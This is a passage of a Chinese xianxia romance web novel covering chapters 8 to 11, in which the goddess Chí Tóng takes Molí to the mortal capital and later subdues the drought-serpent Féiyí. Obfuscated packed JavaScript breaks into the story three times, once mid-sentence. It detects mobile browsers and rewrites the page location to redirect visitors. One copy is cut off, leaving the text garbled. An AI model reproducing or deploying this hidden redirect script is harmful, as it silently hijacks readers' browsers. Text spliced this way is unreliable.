“啊?”墨璃懵了,没想到她会拒绝,有些奇怪道:“你不是池瞳的属下吗?” 辛月轻哼一声,一字一句道:“我只听命于大人。” 换言之,你算什么东西? 真该喂他吃点文鳐鱼,治治这不知天高地厚的疯癫病。 8. 第八章 殿内一阵风掠过,帷幔轻扬。 那道紫色身影尚未完全显现,墨璃的眼睛已经亮了起来。他几乎是下意识地朝那个方向伸出手,声音里带着自己都没察觉到的依赖与欢喜:“姐姐!” 池瞳的身影在床榻前凝实。 她换了一身衣裳,不再是那袭素衣,而是一件月白云纹广袖长袍,外罩浅紫纱衣,腰间束着嵌着紫晶的金链腰带,长发依旧松松绾着,只簪了支简单的白玉簪,几缕碎发垂落颊边,衬得那张脸愈发清冷出尘。 她垂眸看着榻上的墨璃,目光在那张迤逦的小脸上停留,话确是对辛月说的:“你先下去吧。” 辛月欲言又止地看了墨璃一眼,随即离去。 白芷那家伙什么时候回来!她实在受不了了! 殿内,池瞳广袖轻拂,榻上瞬间出现了一件精美的华服。 华服以金色为主调,衣襟、袖口、下摆处,皆镶着密密麻麻的紫晶碎钻,在殿内光线下折射出细碎的流光,腰带以银色软玉雕成,表面镂空刻着山海图纹,空隙处填满细碎的金沙。 “好漂亮!”墨璃忍不住惊叹,“姐姐,这是给我的吗?” 池瞳点点头,声音柔和,“专门为你定做的,穿上我们出去吃饭。” “好!” 墨璃几乎是迫不及待地准备爬起来,可刚一动,全身的酸痛就让他倒抽一口冷气,险些又跌回去。 池瞳伸手扶住他,指尖在他眉心一点。 温润的白光涌入,那些折磨人的酸痛如潮水般褪去。 “谢谢姐姐!”他眉眼弯弯,凑过去在池瞳脸颊上飞快地亲了一下。 他抱着那套华服,准备换,又犹豫地看了眼池瞳。 对视几秒,池瞳转过身去,负手望向殿外环池。 衣料柔软顺滑,触感微凉,穿在身上却轻若无物,腰带扣上的瞬间,他感觉周身被一股温和的灵力包裹,连呼吸都顺畅了几分。 “姐姐,我换好了。” 池瞳回身,眸光微凝。 殿内华光流转,墨璃立在光影交界处,一身金衣如朝阳初升,那颜色非但不显黑,倒衬得他肌肤愈发白皙。 非常直观的美。 池瞳静静看了他片刻,忽然伸手,指尖在他发间一拂。 墨璃只觉得头顶一沉,一面小巧的铜镜出现在池瞳手中,镜中映出他的模样,发间不知何时多了一顶金镶玉的发冠。 “这样更好。”池瞳收起铜镜,牵起他的手,“走吧。”她另一只手在虚空轻轻一划。 墨璃下意识闭上眼,再睁开时,整个人都呆住了。 眼前不再是金碧辉煌的山海殿,而是一条热闹的街道。 青石板路延伸向远方,两旁是鳞次栉比的店铺,空气中混杂着食物香气、脂粉味、尘土气,还有人间特有的鲜活的生命气息。 这是......人间? 墨璃张着嘴,半晌说不出话。 那些偷看的话本里描述的人间景象,终究只是文字,直到此刻亲眼看见,他才真正明白,什么叫人间烟火气。 从前在冥界,母君并不让他出冥殿,说男子不可抛头露面,不可随意被人瞧见容貌,否则便是失了清白,辱没门风。 他厌倦了阴暗无光的冥殿,一心想去外面的世界看看。 刚出冥界,就做了违背母君之事。 不知是对池瞳当真一见钟情,还是被心里一直隐匿的反抗基因作祟,总之,他就这样跟一个素昧平生的陌生人上床了。 垂落着的手被轻轻牵起,微凉的触感将他从恍惚中拉回,墨璃转过头,看向女人精致的侧颜。 池瞳正侧头看他,眸里的紫色如同神秘的漩涡,让墨璃的心也跟着掉了进去。 她什么都没说,只是牵着他的手,走进熙攘的人流中。 她跟那些人都不一样。 内心一个声音在说。 表面慈和内心却格外残忍的母君,看似正直却心有城府的姐姐,还有话本里描述的多情又薄情的帝王。 池瞳像一片深不见底的静湖,看似平静无波,可站在她身边,墨璃却感到一种从未有过的安宁。 这是从来没有过的感觉。 “姐姐,”他喉咙有些干涩,盯着池瞳看了许久,才轻声问,“这是哪?不是说......吃饭吗?” 池瞳没回答,只是牵着他的手,穿过拥挤的人群,在一处卖冰糖葫芦的小摊前停下,“拿一个这个。” “好嘞!”小贩取下一串冰糖葫芦,极有眼色的递给了池瞳身旁的墨璃。 “公子拿好。” 墨璃慌忙接过,对这红红又圆圆的东西有些好奇,他凑近闻了闻,有甜腻的糖香,还有股淡淡的果酸气。 这就是冰糖葫芦吗? 他试探着张嘴,轻轻咬了一口。 “咔嚓——” 糖衣碎裂,发出清脆的声响,可外层的糖壳比他想象中硬,这一口只咬下薄薄一片糖,山楂果肉还完好无损。 “好硬。”他捂着嘴,小声嘟囔。 他穿着一身叮呤哐啷的精致华服,手里拿着街边最寻常的冰糖葫芦,另一个手捂住半张脸,眼睛因为磕着牙而微微泛红,甚是可爱。池瞳不自觉勾起唇角,牵着他拐进旁边一条偏僻昏暗的小巷,就着他的手将一整个冰糖葫芦咬了下来,捧着他的脸亲了上去。 “姐姐......唔!” 甜腻酸涩的冰糖葫芦在口中蔓开,冰糖在唇齿间逐渐融化,酸涩的里子被咬破,在舌尖滚动。 池瞳捧着他的脸,将这个吻加深。 墨璃刚开始还沉浸享受着池瞳的“投喂”,直到冰糖彻底化尽,只剩下酸涩的山楂果肉,他连忙用舌尖抵住,阻止了山楂进一步进入。 太酸了,他不喜欢。 池瞳也不勉强,舌尖一卷,将山楂卷回自己口中,放开了他。 “好吃吗?”池瞳问,声音有些低哑。 墨璃脸颊绯红,气息微乱,他舔了舔唇上残留的甜味,犹豫片刻,小声道:“还好吧。” 前面的糖块挺好吃的,后面的山楂太酸了。 池瞳心领神会,“还好”的意思就是一般般,那便不用再吃了。 “那吃些别的。”她拿过墨璃手里那串冰糖葫芦,往后一伸,黑暗中便凭空出来一只手,接过了那串冰糖葫芦 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墨璃:“仙界的几天就是几年,也就是说我们可以待几年?” “不要得寸进尺。”池瞳瞥了他一眼,那眼神让墨璃立刻蔫了。 不过他很快又打起精神,拉着池瞳的手往前跑:“姐姐我饿了,刚才闻见有一家铺子上的东西好香,我们去尝尝吧!” “好。” 墨璃说的铺子是家卖饼的,唯一不同的是,这饼有不同口味,梅菜饼,肉饼,糖饼...... 墨璃站在铺子前,眼巴巴地看着那些刚出炉的烧饼,咽了咽口水。 池瞳见他馋,索性各个口味都买了。 墨璃抱着一兜烧饼,边走边吃。 肉饼还很烫,他吃了一小口就烫的直叫,却舍不得吐出来,在嘴里滚了几滚,才勉强咽下去。池瞳没理,他又拿着他刚咬过一口的肉饼递到池瞳面前:“姐姐,你尝尝,很好吃!” 肉饼烤得外酥里嫩,肉馅饱满多汁,但油腻腻的,甚是恶心。 池瞳只一秒就侧头拒绝:“不吃。” 墨璃见状,停下脚步,硬将饼往池瞳嘴边塞,“姐姐就一口!真的好吃,不骗你。” 那饼离她的脸越来越近,油腻的香气几乎要贴上鼻尖,饼皮上的油光在灯笼下泛着令人不适的光泽。 池瞳眉头微蹙,广袖下意识一挥。 “啪!” 墨璃没拿稳,肉饼脱手飞出,掉在青石板路上,滚了几圈,沾满了尘土。 气氛霎时间凝固起来。 街市的喧嚣仿佛在这一刻远去,墨璃呆呆地看着地上那个已经脏了的肉饼,又抬头看向池瞳。 女人脸上没什么表情,紫眸在昏暗的光线下显得格外幽深,她垂眸瞥了眼地上的饼,语气平淡:“脏了。再去给你买一个。” 墨璃张了张嘴,想说什么,最终却只是低下头,小声道: “......不用了” 明明身处在人声鼎沸里,可两人之间的空气,却莫名冷了下来。 9. 第九章 墨璃觉得自己了解池瞳,又不了解。 所谓“了解”,是一种身体记忆般不由自主的熟悉,他能轻易分辨出女人唇角微勾时是愉悦还是讥讽,能察觉到那双紫眸深处一闪而逝的不耐,甚至能凭直觉判断出何时该靠近,何时该退开。 这种认知像刻在骨子里,不需要思考,如同呼吸般自然。 所谓“不了解”,是他们从相遇到此刻,不过短短几日。几日光阴,在动辄千年万载的神仙眼中,不过弹指一瞬,说“了解”,太过牵强,太过自以为是。 然而无论了解与否,方才池瞳眼中那毫不掩饰的排斥与不耐,都超出了他所以为的“了解”。 他太自以为是了,以为身体上的契合,口中所说的“喜欢”,足以让女人包容他的一切。 可现在看来,并非如此。 墨璃抿了抿唇,声音很轻: “对不起。” 池瞳原本已有些不耐,她活了那么久,早已习惯了旁人的敬畏与顺从,墨璃这般不知进退的亲近,于她而言是新鲜,却也只是新鲜。 可还未发火,道歉就先来了,池瞳便又忍了下去。 算了。 跟个小男人计较什么。 “真不吃了?”她问。 墨璃抬起头,晃了晃另一只手里装着其他烧饼的油纸包,挤出一丝笑:“我还有那么多呢,买了也吃不完,浪费。” 那笑容很浅,眼底的光黯了些,却依旧努力装作无事。 池瞳看了他片刻,没再说什么,转身继续往前走。 “那就走吧,再逛会儿。” 两人又在街上逛了大半个时辰,直到夜色渐深,街市上的灯笼愈发明亮。 墨璃好似真的忘了刚才的不愉快,重新被这人间烟火吸引,他什么都好奇,什么都想问。 “姐姐,那个转着圈发光的是什么?” “走马灯。” “那个咿咿呀呀唱戏的呢?” “伶人。” “那......那个人为什么要把自己锁在笼子里?” 池瞳顺着他指的方向看去,那是个卖艺的江湖人,正表演“缩骨功”,将自己塞进一个极小的木笼中。 “谋生。”她答得简洁。 墨璃似懂非懂,却也不再追问,只是眼睛亮晶晶地看了一会儿,才被池瞳牵着离开。 池瞳的回答大多敷衍,三两个字便打发了。可墨璃依旧很高兴,这是他第一次来人界,第一次逛街市,第一次看见这么多鲜活的生命。 直到夜色彻底深沉,街市上行人渐稀,两人才在一家客栈落脚。 池瞳选的,自然是京城最好的一家,住的也是顶间,十分宽敞,最妙的是那扇临街的窗,推开便是半个京城的夜景,远处街坊在夜色中若隐若现,晚风拂过,带来隐约的市井人声与淡淡花香。 墨璃趴在窗边,看着窗外的夜景,深深吸了一口气。 空气里有人间的味道,炊烟、花香、尘土、还有远处河水淡淡的腥气,混杂在一起,却莫名让人觉得活着。 这就是自由的味道吗? 他还是有些不真切。 仿佛这一切都只是场美梦,醒来时,他还会躺在那座永远昏暗的冥殿里,听着忘川河水永无止息的悲鸣。 直到一阵熟悉的香味传来,他鼻子一动,眼睛倏地亮起,猛地转过头。 池瞳站在桌前,手里正拿着一只用油纸包好的肉饼,饼还冒着热气。她唇角微微掀起,眸光落在他脸上,带着一丝柔和。 “你......”墨璃眨了眨眼,几乎以为自己看错了。 他蹦蹦跳跳地跑到池瞳面前,接过那只肉饼。油纸还烫手,香气直往鼻子里钻,正是刚才掉在地上的那种肉饼,连大小都一模一样。 “姐姐,你专门又去给我买的吗?” “嗯。”属下买的也就是她买的。 墨璃咬了一大口,满嘴飘香,他边吃边嘟囔着:“可是,我记得......嚼嚼嚼......这个时辰,那些铺子都已经收摊了吧?” 池瞳在桌边坐下,执壶斟茶。 “不需要管这些,”她将茶杯推到他面前,“只要吃到嘴里就行。” 这话说得理所当然,仿佛让一个已经收摊的烧饼铺重新开火,现做一个饼,是再简单不过的事。 墨璃眼睛睁得溜圆,吃一口饼,就看一眼池瞳。 如果他没有猜错,池瞳应该是在肉饼掉在地上之后,就立刻吩咐人去买了。 这个认知让墨璃心里涌起一股暖流,滚烫的几乎要将他整个人淹没。 他实在太高兴了,高兴到想要和池瞳原地结亲的那种。 从小到大,他想要的东西,母君都会给他,但是那是有条件的,每一次的给予,都伴随着一些条件。 可池瞳不是,她给他华服,给他美食,带他来人界,从未提过条件,从未要求回报。 他们就好像话本里写的,注定要携手一生的伴侣,从相遇那刻起,就能看到往后的漫长余生。 墨璃鼓起勇气,大着胆,凑过去想要亲她一下,结果还没靠近,就被一手抵住。 “把你油乎乎的嘴擦干净,再来亲我。” 池瞳像是料到了他接下来的行为,毫不留情的拒绝。 墨璃撇撇嘴,看了看手里只吃了一半的肉饼,犹豫片刻,还是将它放下,仔仔细细地漱了口,用帕子擦了擦嘴,确定一点油渍都没有了,才转身从后面扑到池瞳背上,双臂环住她的脖颈,在她侧脸上响亮地“吧唧”亲了一口。 池瞳动作一顿。 她缓缓回过头,正撞进一双含笑的眼眸里,那里面碎光流转,干净得不掺一丝杂质。 池瞳静默一瞬,伸手扣住他的后颈,将他拉近,吻了上去。 这个吻与先前在巷子里那个带着糖味的吻不同。它温柔绵长,舌尖细致地描摹他的唇形,轻轻撬开齿关,探入温热的口腔,没有急切的索取,只有耐心的引导,舔舐过每一处敏感,勾缠着他的舌。 墨璃舒服地哼了一声。 那声音又软又糯,从喉间溢出,带着不自知的诱惑,他自己先被吓了一跳,慌忙想要退开,却被池瞳按着后颈,吻得更深。 呼吸渐渐乱了。 不知过了多久,池瞳才终于松开他,墨璃大口喘着气,脸颊绯红,眼里蒙着一层水雾,他下意识舔了舔嘴角,回味着刚才那个吻,心脏跳如擂鼓。 吻的时间太长,脖子有些发僵,他揉了揉后颈,还没动作,就被池瞳拉着,重新坐回她腿上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241426|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >微凉的手覆上他的脖颈,指腹轻轻揉捏着僵硬的肌肉,力道适中,舒服得让墨璃眯起眼。 他舔了舔被吻得发麻的嘴唇,小声问:“姐姐,在遇见我之前,你还有别的伴侣吗?” 实在是池瞳的吻太过娴熟,太过游刃有余,轻易间便带动了他的情|欲,将他拖进欲望的漩涡里,才让他如此发问。 “如果我说没有,你相信吗?”池瞳停手,掌心笼罩着脆弱的脖颈,反问道。 墨璃犹豫了下,盯着那双奇异的紫眸,缓慢点了点头,“相信。” 脖颈上的手掌带来微微痒意,墨璃偏过头,轻易地挣脱了那只手的掌控,转过身双臂搭在池瞳的肩上,直视那双紫眸,“你的眼睛......为什么是紫色的?” 这个问题他憋了很久,冥界之人眸色多为深黑或暗红,仙界则以金,蓝居多,紫色的眼睛,他从未见过。 池瞳垂下手,转而握住那支细腰,捏了捏,“天生的。” 腰侧本就敏感,被她这么一捏,墨璃忍不住笑出声,整个人在她怀里扭动起来,跟蛆一样,“你不要捏......” “你胖了。”池瞳忽然道。 墨璃的笑僵在了脸上,也顾不上腰间乱捏的手了,抖着声说:“你说什么?” 池瞳只好再重复一遍:“你胖了。” 顿了顿,又补充:“以后晚上不要吃那么多了。” 刚在心底升起的暖意瞬间消散,只剩下恐怖的两句话,墨璃立刻起身,从池瞳腿上跳下来,胸膛因生气而剧烈起伏。 他瞪着她,眼圈有些红:“我......我哪里胖了?!” 墨璃越说越没底气,跟池瞳在一起这几日,他确实吃得比以往都多,山海殿的膳□□致好看,人间的美食鲜香诱人,每一样他都想尝,每一样他都舍不得剩下。 可是......即便是胖了,她也不能这样说出来啊! 墨璃气地原地打转,差点又要掉泪,池瞳看着他这副模样,轻轻叹了口气。 她起身,走到他面前,伸手将墨璃定在原地动弹不得,而后伸手捏了捏他腰侧确实多出来的软乎乎的一小团肉。 “没关系。”她语气温和,眼底掠过一丝极淡的笑意,“胖点可爱。” 晚上快要睡觉的时候,墨璃因为气不过先一步上床,躺到了榻的最里侧,用被子蒙住头,跟蚕蛹一样缩成一团,池瞳上床时发现被子全被他裹走了,有些好笑。 她凑到蚕蛹外面,轻声问:“睡着了?” 蚕蛹里面的人没回答。 于是池瞳一用力,把他裹紧的被子轻松拽开,自己躺了进去。 她习惯性地将手臂搭在人腰间,掌心刚好笼罩着肚子上的软肉。 因为晚上吃得太多,墨璃侧躺时肚子不可避免地鼓了起来。 没过多久池瞳便发现,当她的掌心随着墨璃的呼吸轻触到他的肚子上时,墨璃就会不自觉的猛吸肚子,将软肉缩回去,她若只是虚虚一搭,小肚子又鼓了起来。 就这样反复半天,池瞳点一下他缩一下,点一下缩一下,最后还是池瞳怕他一来一回得最后整晚都睡不着,才轻拍他的肚皮。 “好了,不玩了,睡吧。” “今天晚上消化消化,明天肚子就没肉了。” 10. 第十章 天刚破晓,只听见雄厚的一道鼓声,如惊雷炸裂,骤然撕破黎明前的寂静,那鼓声从皇城方向一波波扩散开,瞬间席卷了整座京城。 沉寂的街道仿若被这声音唤醒,街道上不出几秒便有了挤挤攘攘的人群,却无一人敢吭声。 “爹爹,这是要干嘛?”街道上,一小男孩发出疑问,却被身旁的男人慌忙捂住嘴,迫使他跪下。 小男孩被男人粗暴的动作吓到了,差点哭出声,又被死死捂住。 墨璃便是被这鼓声惊醒的。 他睡得正熟,梦里还飘着昨夜肉饼的香气,忽然一阵巨响撞入耳膜,他猛地睁开眼,心脏狂跳,一时不知自己身在何处。 “池瞳......”他迷迷糊糊地唤了一声,下意识往身旁缩去。 池瞳早就醒了,或者说是一夜未眠,她拍了拍墨璃蜷缩在怀里的肩,示意他继续睡。 直到窗外的鼓声变得更加大,方圆百里,响彻整个京城,墨璃终于被吵得清醒了过来,“外面这是干嘛呢?!” 他从未这么早醒过,在冥界没有昼夜之分,在山海殿更没有时辰概念。 池瞳没回话,松开原本搭在墨璃腰间的手,起身下榻,指尖在虚空轻轻一点,一道极淡的金色光晕自她指尖漾开,将两人笼罩其中,身形渐渐变得透明。 “起来看看。” 墨璃连忙爬起来,困意被好奇心取代,只匆匆披上昨夜那件金色外袍,连腰带都未系好,就赤着脚跑到窗边。 窗户被轻轻打开,鼓声被放大了数百倍,更加清晰地传入耳膜,与此同时,街道上的景象也映入眼帘。 昨夜还人声鼎沸的街道,此刻竟跪满了黑压压的人群。 女男老少,从街这头一直跪到街那头,密密麻麻,不见尽头。所有人都低着头,没有一个人说话,没有一个人抬头,整条长街静得可怕,只有那越来越急的鼓声,如重锤般一下下砸在死寂的空气里。 墨璃困意瞬间消散,睁大眼睛看着地上的人群,而后又用手指比划向池瞳问。 ——这是在干什么? 他比划得杂乱无序,但池瞳还是明白了他的意思,垂眸冷漠地看着地上的人群,“求雨。” 她的声音不大,但在这片寂静中格外清晰,墨璃吓了一跳,连忙扭头看向窗外,跪着的人群依旧低垂着头,没有任何反应,这才把心放回了肚子里,朝池瞳瞪眼。 ——你怎么能说话呢?! 他这一系列动作虽愚蠢,但胜在长了张好脸,偏生出一番可爱,池瞳微扯嘴角,“方才施法将我二人隐身,自然也屏蔽了声音,说话不会有人听见。” 墨璃睁大眼睛,似乎在说“还能这样?”身子却一下子松懈了,有些埋怨道:“你怎么不早说!害得我打了半天哑谜!”说着还甩了甩手腕,一副“我很辛苦”的模样。 池瞳没接话,只是将目光重新投向窗外。 就在此时,街道上的人群突然开始骚动起来,不是声音的骚动,而是姿态的骚动,跪在最前排的人将头埋得更低,背脊弯得几乎贴到地面,无比虔诚。 墨璃顺着他们的视线望去。 长街尽头,皇城方向,两排身着铁甲的士兵正列队而来。 那些士兵步伐整齐划一,他们手持长戟,脸上覆着铁质面甲,只露出一双毫无情绪的眼睛。 士兵之后,是一顶金黄色的帐幔车驾。 那车驾极大,由二十余人抬着,稳如平地。帐顶雕着九条蟠龙盘绕的形态,帐幔用金线绣着祥云仙鹤。 车驾四角,各有一名身着祭祀白袍的女子,手持羽扇,随着车驾前行,车驾两侧各有十余名白衣男子,手捧白玉碗,碗中盛满清水,手执柳枝,枝梢蘸水,向四周轻洒。 而那金帐之中,一名身着明黄龙袍的女子正襟危坐。 她面容肃穆,头戴十二旒冕冠,珠帘垂落,缓缓扫视着长街两侧跪伏的百姓,目光所及之处,无人敢抬头直视。 跪下的百姓无不低着头,不敢直视皇室威仪。 墨璃知道,这是人皇,万民之主,受命于天,掌人间气运。 墨璃屏住呼吸,看着那金黄车驾缓缓行过。 他想到方才池瞳说,这些人在求雨,越发疑惑起来。 他还未来得及问出口,就见金黄色帐幔旁,站着一名身着蓝袍的男子。 他身形修长,一头墨发仅以一支朴素的白玉簪松松绾住大半,余下几缕披散在身后,随风轻扬,手中执一柄浮尘,随着步伐轻轻摇曳。 最引人注目的是他的脸,眉眼疏淡,鼻梁挺直,唇色极淡,没有任何多余的情绪,仿佛看透了世间一切虚妄。 墨璃生出一股莫名的熟悉,还未来得及细想,那蓝袍男子忽然抬起头,视线直直地穿过来,精准地落在了他脸上。 四目相对。 那双眼睛里没有惊讶,没有探究,只有一片深不见底的平静。可就是这片平静,让墨璃浑身发冷,仿佛自己的一切都被那双眼睛看了个透彻。 墨璃呼吸一滞,慌忙避开那人的视线,扭过头看池瞳。 却见池瞳的紫眸闪烁了一下,又很快恢复回往日的淡漠。 “他......他是不是能看见我们?” 这人一看就是道长,国师之类的人,话本里都写过,这种人有通天眼,可观阴阳,可窥鬼神。 待那抹蓝色身影走远,池瞳才堪堪收回视线,“看不见。” 墨璃不信,若是看不见,这人怎么会正走着突然仰头看向这边?而且......这人给自己一股说不清的熟悉感。 他皱着眉,苦苦思索,目光不经意间扫过身侧的池瞳。 电光石火间,一个念头闪入脑海。 池瞳此刻只穿着一件素白里衣,长发未绾,仅用一支白玉簪随意固定,发丝披散肩头,几缕垂落胸前,负手立于窗前。 这副姿态,这身打扮,这份气质......竟与窗外那蓝袍男子,如出一辙。 “你们两个......不会是失散多年的姐弟吧?!” 墨璃说话不经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241427|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大脑,就这么直愣愣地问了出来。 池瞳愣了下,缓缓转过头,看向墨璃,那双紫眸里先是掠过一丝错愕,随即化为深深的无语。 “我就是随口一说......”墨璃知道自己这个猜测很离谱,但还是忍不住发散思维,“可他若是看不见我们,方才为何会突然抬头看向这里?还正好对上我的眼睛?” 他越想越觉得诡异:“除非他与你之间,有什么心灵感应?” “而且,人界为何会让一个男子当国师?” “让男子当国师就算了,求雨这般关乎国运的大事,人皇为何会让他伴驾身侧?还离得那么近,莫非他其实不是国师,而是人皇的......” “......” 池瞳注视他良久,直到墨璃自己都觉得编不下去,声音越来越小,才道:“你很适合写话本。” 声音平淡,听不出褒贬。 若是辛月在这里,定能听出这句话里蕴藏着深深的嘲讽。 可面前之人是墨璃,他眨巴着眼,惊喜道:“真的吗?”而后又不好意思起来,“虽然我喜欢看话本,但还没到亲自写的地步啦,你太看得起我了。” 说着说着,竟真的认真考虑起来: “我天天待在冥界,很少接触外人,知道的也不多,写出来的故事定是枯燥无聊,等以后我游历完这天地,见识多了,就尝试着写一写!” “姐姐,你说我真写的话,会有人看吗?要是没人看,岂不是白写了?” “......” 池瞳沉默了。 她看着眼前这张写满天真与期待的脸,忽然感到一阵深深的的无力。 她错了。 她不该接那句话的。 耳边叽叽喳喳的声音还在继续,墨璃已经从“写话本会不会有人看”,发散到“该写什么题材”、“主角该叫什么名字”、“要不要把自己和池瞳的故事也写进去”...... 每一个问题都幼稚得可笑,每一个设想都天真得令人窒息。 池瞳闭上眼,不由得感到烦躁,精神力泄出一丝。 那精神力极细,却蕴含着恐怖的力量,它出现的瞬间,周围空气骤然凝固,世界仿佛一瞬间静止下来,眼前聒噪的人也停住了嘴,痛苦地捂住头,脸上血色褪尽。 痛。 不是□□的痛,而是灵魂被无形之物刺穿的痛。那痛楚尖锐冰冷,狠狠扎进识海里搅动,让他眼前阵阵发黑,几乎站立不稳。 “池、池瞳......”他艰难地吐出两个字,身子软软往下滑。 池瞳伸手扶住他,丝毫不在乎他有多么地痛,目光投向窗外。 那缕银白色的精神力像丝线一样,在空中延伸,穿过长街跪伏的人群,越过皇城,最终没入城外的山峦之中。 那座山并不高,却云雾缭绕,山腰处隐约可见几角飞檐,是座道观。 那缕精神力在道观上空盘旋片刻,忽然如利箭般向下疾射,没入观中某处。 “找到了。” 11. 第十一章 墨璃头痛难忍,全身上下每一寸肌肤似乎都在尖叫着想逃,他死死抓住池瞳的衣袖,指甲几乎要嵌进衣料里,等他缓过神来,自己已经身处一片荒山上。 痛意来的猛烈,抽离的也极为迅猛,仿佛刚才那撕心裂肺的痛只是一场梦。 他瘫软在池瞳怀里,大口喘着气,额发被冷汗浸湿,黏在额角,墨璃勉强撑起摇摇欲坠的身子,抬眼望去,杂草丛生,满地荒芜。 空气里弥漫着尘土和腐败植物的气息,枯死的树木连接着灰蒙蒙的天空。 “姐姐......”墨璃声音沙哑,问:“这是哪?刚才我的头好痛......” 池瞳让他靠在自己肩上,低头看他,那双紫眸在荒山野岭的映衬下显得格外幽深。恍惚中,墨璃看见她唇角微扬,露出一个极淡的笑,依旧是那两个字,“求雨。” 墨璃茫然地眨了眨眼。 求雨? 他们不是在客栈看人皇求雨吗?怎么会突然来到这荒山野岭?而且......他们为何也要求雨? 他的表情太过无知,太过懵懂,像一只误入险境的幼兽,对周遭的一切充满不解与惶恐,极大地取悦到了池瞳。 她好心地揽着他的肩,让他转了个方向,“看那里。”墨璃顺着她示意的方向看去,下一秒,他整个人都僵住了。 墨璃脸色瞬间煞白,喉咙里发出一声短促的抽气声,他猛地转身,一头扎进池瞳怀里,双手死死攥住她的衣襟。 “有......有蛇。”声音抖得不成样子,带着哭腔。 池瞳低头,看着怀里瑟瑟发抖的人。 连这颤音都格外可爱。 她伸手,捧起他满是冷汗的脸,拇指轻轻蹭掉他眼角的泪珠,然后额头抵上他的额头,鼻尖几乎相触。 “璃儿,”她轻叹,温热呼吸拂过他冰凉的脸颊,“怎么会这么可爱。” 墨璃茫然失神,不知她为何会驴唇不对马嘴,说他可爱。 都这种时候了,她怎么还在说他可爱?!有只大蛇在她们旁边,池瞳是看不见吗!! 不,她看见了。她不仅看见了,还故意让他去看! 想到这儿,墨璃心头涌起一股委屈又愤怒的情绪,他猛地往后一仰,额头脱离池瞳的触碰,然后狠狠朝前撞去! “咚!”一声闷响。 两额相撞。 他撞的力道很大,撞完自己先眼前一黑,离开时自己的额头也变成红通通的一片。 伤敌八百自损一千。 不过他撞完就后悔了,泪眼汪汪地偷偷瞧池瞳的表情。 池瞳微笑看着他,平淡问:“想死吗?” 墨璃小心翼翼地摇摇头。 当然不想。 就在他以为女人不会计较的那刻,或者至少不会立刻计较的那刻,异变陡生。 墨璃身体忽然一轻,双脚瞬间离地,整个人被一股无形的力量托起,悬在半空,不上不下,更可怕的是,他的身体像被定住般,连一根手指都动不了。 更恐怖的是,自己的眼睛,只能注视那条蛇! 连眼珠都无法转动,甚至无法合上眼! 视野被强行固定,他被迫清晰地“欣赏”着那个怪物。 墨璃吓得魂飞魄散,想要尖叫,喉咙却像被什么堵住,发不出任何声音,想要闭眼,眼皮却沉重如铁,纹丝不动。 他只能被迫注视着那条蛇。 这蛇长着六只脚,身上有四只羽翼,分明是个怪物!哪里是蛇! 怪物似乎受了重伤,呼吸微弱,赤红的竖瞳半阖着,偶尔闪过一丝痛苦的光芒。 “它是肥遗。”池瞳耐心介绍着。 “它出现会致使天下大旱,不过它本封禁在太华山,不知是偷跑出来,还是有人刻意将它放出来。” 这句话不知是专门说给墨璃,还是意有所指地说给肥遗。 墨璃被迫听着,心脏在胸腔里狂跳,隐约间好像听到这怪蛇在叫,说着“主我错了主我错了”。 有一瞬间,他几乎想跟着喊“主我错了”,可惜他的嘴也被封得死死的,一个字都吐不出来。 求饶显然没用,银白色的精神力从池瞳指尖涌出,缓缓飘向肥遗,最终如蛛网般将那只庞大的怪物完全笼罩。 “嘶——” 肥遗发出无声的嘶鸣,墨璃虽听不见声音,却能清晰感受到那股撕心裂肺的痛苦。 下一刻,更加恐怖的景象发生了。 肥遗那四只残破的羽翼,在精神力丝线的缠绕下,开始一寸寸扭曲断裂,翼骨发出“咔嚓”一声,碎成片片残破的血肉。 紧接着那六只脚爪,一根根反向弯折,崩裂粉碎,整个过程安静又诡异,没有鲜血喷溅,没有惨叫哀嚎,只有那无声的肢解。 墨璃看得浑身冰凉。 他想吐,可连呕吐的生理反应都被压制,只能睁大眼睛被迫看着这一切。 视线忽然一阵眩晕。 周围的景象开始旋转,待视野重新清晰时,他们已身处另一处地方。 这里的四壁刻满了密密麻麻的密文,流淌着金色的光芒,在昏暗的光线下明灭。而这中央,肥遗残破的身躯瘫在地上,一动不动。 随后,密密麻麻的咒文如烙印般一寸寸印满了这个叫肥遗的怪物的全身,很快,它合上眼睛,摊在地上。 墨璃听见自己的抽泣声,不知何时,他恢复了发声的能力。 他瘫软在地,手脚还在发抖,声音带着浓重的哭腔:“它......死了?” 池瞳嫌弃地瞥了一眼地上的一摊蛇,“睡着了。” 话音未落,她身影一闪,已出现在墨璃面前。 墨璃吓得魂飞魄散,下意识抱住头,闭眼大叫:“主我错了!主我错了!!我还不想死呜呜呜呜哇哇哇哇——!!” 哭声震天,在一片空旷中回荡,格外凄惨。 池瞳被他嚎得头疼,试图纠正他的想法:“它没有死,只是睡着了。” 骗子!池瞳是个大骗子!羽翼和脚都折断了,肯定是死了! 墨璃不信,但又觉得自己小命最重要,还是不要管别人的死活了,于是继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 